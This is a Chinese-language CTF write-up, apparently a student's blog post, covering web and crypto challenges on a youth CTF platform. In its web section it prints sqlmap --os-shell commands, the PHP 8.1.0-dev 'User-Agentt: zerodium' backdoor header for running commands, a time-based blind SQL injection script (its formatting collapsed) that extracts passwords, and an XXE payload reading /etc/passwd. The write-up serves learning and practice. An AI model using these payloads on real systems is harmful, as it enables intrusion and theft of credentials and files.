当前位置: 首页 > news >正文

青少年CTF平台的基础题writeup

青少年CTF平台

1、文章管理系统

首先他这里有一个问号id,就想着使用mysql跑一下,但是windows的sqlmap很不给力,都不动,所以我后面换成了kali机来跑

跑一下就跑出了好多的数据库

第一次我使用ctftraining不出货,跑的一个垃圾表,里面啥东西都没有

后来改成后面的word,然后跑出了一个flag,但是提交上去显示是错误的,说明这个是加的flag,好伤心啊

后面再打开提示,提示说要执行命令

那我们就可以使用--os-shell,使用sqlmap执行命令

然后发现这些都是垃圾,没有一个有用的东西,当然,也是因为我菜不会用命令,后面发现可以直接寻找flag,用命令行就是find / --name "flag",

发现里面有一个flag,我们直接就tac /flag,这道题就出来了。

总结:这道题首先就是发现用SQLmap来跑,我之前一直不知道怎么做题目,这次的SQLmap让我更加意识到sqlmap的重要性,遇到题目不会的就是用sqlmap先跑一下或者用dirserch跑一下目录,kali机太好用了,

命令sqlmap.py -u+url+--dbs -batch 爆出来数据库,

-u+url -D 数据库名称 --tables爆数据库的表

-u +url -D 数据库名称 -T 表名 --columus

-u +url -D 数据库名称 -T 表名 --dump

然后亮点是最后一个命令

-u +url --os-shell ,这个是我没有接触到的,之前学过但是忘了这个知识点,这个可以直接进入里面当作命令行来直接执行命令。

2、Robots

这道题目上来就告诉你怎么做,直接访问robots.txt然后就可以发现有flag的路径

进入这个路径后就可以获取到flag,这道题目0颗星,提示太明显了

总结:这道题目运用了源码泄露的这个地方,同时关于源码泄露还有一些其他的,比如以下这些:

一、协议头泄露,打开F12,然后找协议头那边可能就会有flag

二、源码泄露,打开F12,去那边寻找源码,然后找一下注释找到flag

三、PHPS泄露,进入index.phps然后有一个文件,打开文件用记事本打开,出现flag

四、robots后台泄露,进入rebots.txt,然后里面有一个文档,复制粘贴那个文档就出来了

五、JS前台绕过,输入快捷键F12或者ctrl+U进入源码即可

六、源码压缩包泄露,进入www,zip,然后下载一个文件,打开文件会出现flag的目标位置,再输入到网址后面就行了

七、版本控制泄露源码①:

1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )

2、去.git/objects/ 文件夹下下载对应的文件

3、zlib解压文件,按原始的目录结构写入源代码

八、版本控制泄露源码②

SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件,获取到服务器源码。

九、vim临时文件泄露

使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问/index.php.swp下载备份文件,用记事本打开即可

十、内部技术文档泄露

随便点,每一个可以点的都点过去一遍,然后会有一些有文档,里面有账户密码什么的

十一、编辑器配置不当,根据题目直接在网址后面加以一个/editor,然后进入到不同的页面,在里面寻找文件看看有没有flag就好了

****/var/www/html/就是类似网站的网址

十二、sql备份文件泄露

数据库默认备份位置

C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Backup

默认数据库存放位置

C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA

在网址后面输入backup.sql就可以获取到一个文件,再用VS打开就可以了

三、此地无银三百两

这道题目也是关于源码泄露,就直接打开F12然后就可以获取到这个flag了

总结:就是得看看源码就可以了

四、PHP的后门

首先打开网页,发现里面啥都没有,只有欢迎你,如何提示了你应该知道这是哪个版本的PHP吧,那我们就可以使用BP抓包一下看看会刷新什么

发现里面有一个PHP/8.1.0-dev这个版本号好像是。通过百度,发现这个8.1版本可以通过user-Agentt标头来执行命令

User-Agentt:zerodiumsystem("ls /");命令的大概格式就是这样,但是我自己手敲每次都会出错不知道为什么,我自己敲的不出来。(后面可以了嘻嘻)只要再后面加上命令就可以了

然后成功获取到flag

总结:这道题目主要是需要我们去发现这个后门是什么版本,发现了PHP相对应的版本我们就可以去百度搜索这个版本所存在的漏洞,这个User-Agentt:zerodium+执行的命令然后就可以获取到flag,我觉得这个应该会挺常考的。

五、 Easy的SQLi

首先进去的是一个登录界面,我们可以先尝试使用万能密码1'or 1=1--+来测试一下能不能登录,发现使用#键可以登录成功,但是使用--+就不可以,我们来到BP界面这边发现--+却还是可以用的,并且显示登录成功,说明这个是可以的,那我们就可以考虑盲注了,时间盲注或者布尔盲注

我这边发现用and后面加判断语句有些时候会报错有些时候是对的,使用就可以利用这个点来对他进行盲注。后面就可以通过这个来编写脚本了(由于本人不会写脚本,所以只能借用别人的脚本了,喊AI敲的脚本一直爆不出来。。。。)

import requestsurl = 'http://challenge.qsnctf.com:31673/login.php'
res = ""for i in range(1, 48, 1):for j in range(32, 128, 1):# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"data = {'uname': "admin' and " + payload,'psw': 123456}try:r = requests.post(url=url, data=data, timeout=0.2)except Exception as e:continueres += chr(j)print(res)break

成功爆出flag

总结:如果登录界面只传两个两个参数,我们试试万能钥匙,,登录失败或者登录成功,那我们就可以使用时间盲注或者布尔盲注,然后通过写脚本就可以爆出来答案。

六、PHP的XXE

题目描述

XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。
XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动。

首先我们可以寻找XML的版本,发现他是2.8.0, libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。 但是这也说明这个版本任然可以使用xxe漏洞

vulhub漏洞—php环境XML外部实体注入漏洞(XXE)_php环境 xml外部实体注入漏洞(xxe)vulhub-CSDN博客直接寻找到这篇文章里,不会xxe漏洞,但是这个文章浮现了这个漏洞

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

最终拿下虚假的flag,我学了xxe会回来再做这道题目的

——————————————————————————————————

密码学部分:

1、凯撒大帝的征讨之路

打开文件是一个凯撒加密,我们直接丢进随波逐流工具里面,一下就可以解出来flag,位移数是21

总结:最简单的凯撒加密,只要一个一个对应即可找到flag

2、pigpig

这道题目一打开是一个图片,刚打开没有思路,后来发现猪圈神器

后面找到了猪圈密码在线神器,然后通过输入图片中的内容即可得出flag

总结:找工具

3、神奇的压缩包(提示是所有密码都是错误的)

根据提示我们可以猜测这应该是伪加密,我们把它丢进010里面看一下他的十六进制

发现这边6 7列这边有01 00,而正常的压缩包应该是00 00,所以我们修改一下里面的十六进制改为00 00,然后就可以正常打开里面的图片了

总结:遇到压缩包什么密码不知道的情况下可以丢到010里面看一下是不是伪加密,如果是未加密就改一下进制,如果是正常加密就正常爆破就可以了

4、熊曰

题目出现了从未见过的加密,但是上面几题让我学会了搜索,我们直接寻找熊曰这种解,然后把我们的加密文本输入进去就可以出现到flag了。

总结:遇到没有见过的flag就要多找线上工具


http://www.mrgr.cn/news/59451.html

相关文章:

  • LINQ在数据库中的应用:LINQ to SQL 和 Entity Framework
  • GeoWebCache1.26调用ArcGIS切片
  • Python监听指定路径下文件夹变化
  • go/go-zero定时任务
  • python爬虫基础篇:常用的数据清洗
  • XPM_CDC_SINGLE
  • 数据的表示和运算 I
  • C++ (9) 项目实践:建造你的魔法城堡
  • 05 P3817 小A的糖果
  • 【SQL Server】探讨 IN 和 EXISTS之间的区别
  • 无心剑中译艾伦·罗贝纳·菲尔德《秋歌》
  • 全球知名度最高的华人起名大师颜廷利:世界顶级思想哲学教育家
  • 防火墙和堡垒机有什么区别?
  • Java jdk版动态代理介绍
  • 数组指针
  • Python中,lambda函数的用法是什么?
  • 拉斯维加斯算法(Las Vegas Algorithm)详细解读
  • Node.js 循环依赖或者递归调用导致的堆栈溢出问题
  • learn C++ NO.29——智能指针
  • 通过IPAM进行IP地址规划和管理
  • Java面试题——计网篇2
  • 【数学二】多元函数积分学-重积分-二重积分定义、性质、计算
  • (50)MATLAB最优延迟迫零均衡器仿真测试与评估
  • React前端框架 – 全面了解与应用
  • [专有网络VPC]创建和管理网络ACL
  • 医疗实施-项目管理06-估算成本